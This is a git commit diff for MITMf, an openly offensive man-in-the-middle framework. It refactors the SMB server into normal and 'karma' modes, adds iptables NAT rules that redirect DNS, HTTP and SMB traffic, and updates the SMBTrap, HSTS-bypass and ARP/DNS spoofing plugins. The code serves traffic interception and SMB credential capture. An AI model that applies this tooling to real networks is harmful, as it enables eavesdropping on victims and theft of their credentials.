||||
self.request.close()
|
||||
pass
|
|
@ -1,17 +1,77 @@
|
|||
import logging
|
||||
import sys
|
||||
import threading
|
||||
import os
|
||||
|
||||
from socket import error as socketerror
|
||||
from impacket import version, smbserver, LOG
|
||||
from core.servers.smb.KarmaSMB import KarmaSMBServer
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import shutdown
|
||||
|
||||
#Logging is something I'm going to have to clean up in the future
|
||||
|
||||
class SMBserver(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
impacket_ver = version.VER_MINOR
|
||||
server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower()
|
||||
smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"]
|
||||
smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if SMBserver._instance == None:
|
||||
SMBserver._instance = SMBserver()
|
||||
|
||||
return SMBserver._instance
|
||||
|
||||
def parseConfig(self):
|
||||
server = None
|
||||
try:
|
||||
if self.server_type == 'normal':
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.configureLogging(formatter)
|
||||
|
||||
server = smbserver.SimpleSMBServer(listenPort=self.smb_port)
|
||||
|
||||
for share in self.config["MITMf"]["SMB"]["Shares"]:
|
||||
path = self.config["MITMf"]["SMB"]["Shares"][share]['path']
|
||||
readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower()
|
||||
server.addShare(share.upper(), path, readOnly=readonly)
|
||||
|
||||
server.setSMBChallenge(self.smbchallenge)
|
||||
server.setLogFile('')
|
||||
|
||||
elif self.server_type == 'karma':
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.configureLogging(formatter)
|
||||
|
||||
server = KarmaSMBServer(self.smbchallenge, self.smb_port)
|
||||
server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"]
|
||||
|
||||
for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems():
|
||||
server.extensions[extension.upper()] = os.path.normpath(path)
|
||||
|
||||
else:
|
||||
shutdown("\n[-] Invalid SMB server type specified in config file!")
|
||||
|
||||
return server
|
||||
|
||||
except socketerror as e:
|
||||
if "Address already in use" in e:
|
||||
shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(listenPort))
|
||||
|
||||
def configureLogging(self, formatter):
|
||||
#yes I know this looks awful, yuck
|
||||
|
||||
LOG.setLevel(logging.INFO)
|
||||
LOG.propagate = False
|
||||
logging.getLogger('smbserver').setLevel(logging.INFO)
|
||||
logging.getLogger('impacket').setLevel(logging.INFO)
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
fileHandler.setFormatter(formatter)
|
||||
|
@ -19,63 +79,7 @@ streamHandler.setFormatter(formatter)
|
|||
LOG.addHandler(fileHandler)
|
||||
LOG.addHandler(streamHandler)
|
||||
|
||||
class SMBserver(ConfigWatcher):
|
||||
|
||||
impacket_ver = version.VER_MINOR
|
||||
|
||||
def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''):
|
||||
|
||||
try:
|
||||
self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile)
|
||||
self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
|
||||
except socketerror as e:
|
||||
if "Address already in use" in e:
|
||||
shutdown("\n[-] Unable to start SMB server on port 445: port already in use")
|
||||
|
||||
def start(self):
|
||||
t = threading.Thread(name='SMBserver', target=self.server.start)
|
||||
t = threading.Thread(name='SMBserver', target=self.parseConfig().start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
"""
|
||||
class SMBserver(Thread):
|
||||
def __init__(self):
|
||||
Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file', 'None')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# Let's add a dummy share
|
||||
#smbConfig.add_section(DUMMY_SHARE)
|
||||
#smbConfig.set(DUMMY_SHARE,'comment','')
|
||||
#smbConfig.set(DUMMY_SHARE,'read only','no')
|
||||
#smbConfig.set(DUMMY_SHARE,'share type','0')
|
||||
#smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path')
|
||||
|
||||
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
|
||||
self.smb.processConfigFile()
|
||||
try:
|
||||
self.smb.serve_forever()
|
||||
except:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
self._Thread__stop()
|
||||
"""
|
|
@ -72,7 +72,12 @@ class ServerConnection(HTTPClient):
|
|||
def sendRequest(self):
|
||||
if self.command == 'GET':
|
||||
try:
|
||||
|
||||
if ('Unknown' in self.clientInfo[0]) or ('Unknown' in self.clientInfo[1]):
|
||||
mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host']))
|
||||
else:
|
||||
mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host']))
|
||||
|
||||
except Exception as e:
|
||||
mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e))
|
||||
mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host']))
|
||||
|
@ -120,10 +125,12 @@ class ServerConnection(HTTPClient):
|
|||
self.sendPostData()
|
||||
|
||||
def handleStatus(self, version, code, message):
|
||||
try:
|
||||
version, code, message = self.plugins.hook()
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
values = self.plugins.hook()
|
||||
|
||||
version = values['version']
|
||||
code = values['code']
|
||||
message = values['message']
|
||||
|
||||
mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||
self.client.setResponseCode(int(code), message)
|
||||
|
|
|
@ -71,6 +71,7 @@ class IpTables:
|
|||
def __init__(self):
|
||||
self.dns = False
|
||||
self.http = False
|
||||
self.smb = False
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
|
@ -90,11 +91,16 @@ class IpTables:
|
|||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port))
|
||||
self.http = True
|
||||
|
||||
def DNS(self, ip, port):
|
||||
mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}:{}".format(ip, port))
|
||||
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to {}:{}'.format(ip, port))
|
||||
def DNS(self, dns_redir_port):
|
||||
mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port))
|
||||
self.dns = True
|
||||
|
||||
def SMB(self, smb_redir_port):
|
||||
mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
|
||||
self.smb = True
|
||||
|
||||
class Banners:
|
||||
|
||||
banner1 = """
|
||||
|
|
4
mitmf.py
4
mitmf.py
|
@ -183,8 +183,8 @@ print "|_ HTTPserver online"
|
|||
|
||||
#Start the SMB server
|
||||
from core.servers.smb.SMBserver import SMBserver
|
||||
print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
|
||||
SMBserver().start()
|
||||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||
SMBserver.getInstance().start()
|
||||
|
||||
#start the reactor
|
||||
reactor.run()
|
||||
|
|
|
@ -17,7 +17,7 @@ class SMBTrap(Plugin):
|
|||
self.ourip = SystemConfig.getIP(options.interface)
|
||||
|
||||
def serverResponseStatus(self, request, version, code, message):
|
||||
return (version, 302, "Found")
|
||||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||
|
||||
def serverHeaders(self, response, request):
|
||||
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
||||
|
|
|
@ -22,7 +22,6 @@ import sys
|
|||
import logging
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from core.utils import IpTables, SystemConfig
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
|
||||
|
@ -37,11 +36,10 @@ class HSTSbypass(Plugin):
|
|||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.manualiptables = options.manualiptables
|
||||
ip_address = SystemConfig.getIP(options.interface)
|
||||
|
||||
if not options.manualiptables:
|
||||
if IpTables.getInstance().dns is False:
|
||||
IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port'])
|
||||
IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port'])
|
||||
|
||||
URLMonitor.getInstance().setHstsBypass()
|
||||
DNSChef.getInstance().setHstsBypass()
|
||||
|
|
|
@ -49,7 +49,7 @@ class Spoof(Plugin):
|
|||
#Makes scapy more verbose
|
||||
debug = False
|
||||
if options.log_level == 'debug':
|
||||
debug = True
|
||||
debug = False
|
||||
|
||||
if options.arp:
|
||||
|
||||
|
@ -98,9 +98,7 @@ class Spoof(Plugin):
|
|||
|
||||
if not options.manualiptables:
|
||||
if IpTables.getInstance().dns is False:
|
||||
IpTables.getInstance().DNS(self.myip, self.dnscfg['port'])
|
||||
|
||||
DNSChef.getInstance().loadRecords(self.dnscfg)
|
||||
IpTables.getInstance().DNS(self.dnscfg['port'])
|
||||
|
||||
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
||||
shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
||||
|
@ -108,7 +106,6 @@ class Spoof(Plugin):
|
|||
SystemConfig.setIpForwarding(1)
|
||||
|
||||
if not options.manualiptables:
|
||||
IpTables.getInstance().Flush()
|
||||
if IpTables.getInstance().http is False:
|
||||
IpTables.getInstance().HTTP(options.listen)
|
||||
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
from plugins.plugin import Plugin
|
||||
from core.servers.http.HTTPServer import HTTPServer
|
||||
import tornado.web
|
||||
from core.servers.http.HTTPServer import HTTPServer, HTTPHandler
|
||||
|
||||
class TestPlugin(Plugin):
|
||||
name = "testplugin"
|
||||
|
@ -10,9 +9,8 @@ class TestPlugin(Plugin):
|
|||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler)
|
||||
HTTPServer.getInstance().addHandler(r"/test/.*", WebServer)
|
||||
|
||||
class MainHandler(tornado.web.RequestHandler):
|
||||
class WebServer(HTTPHandler):
|
||||
def get(self):
|
||||
print self.request
|
||||
self.write("Hello World!")
|
||||
self.write("It works MOFO!")
|
|
@ -46,7 +46,7 @@ class Plugin(ConfigWatcher, object):
|
|||
'''
|
||||
Handles server response HTTP version, code and message
|
||||
'''
|
||||
return (version, code, message)
|
||||
return {"request": request, "version": version, "code": code, "message": message}
|
||||
|
||||
def serverResponse(self, response, request, data):
|
||||
'''
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue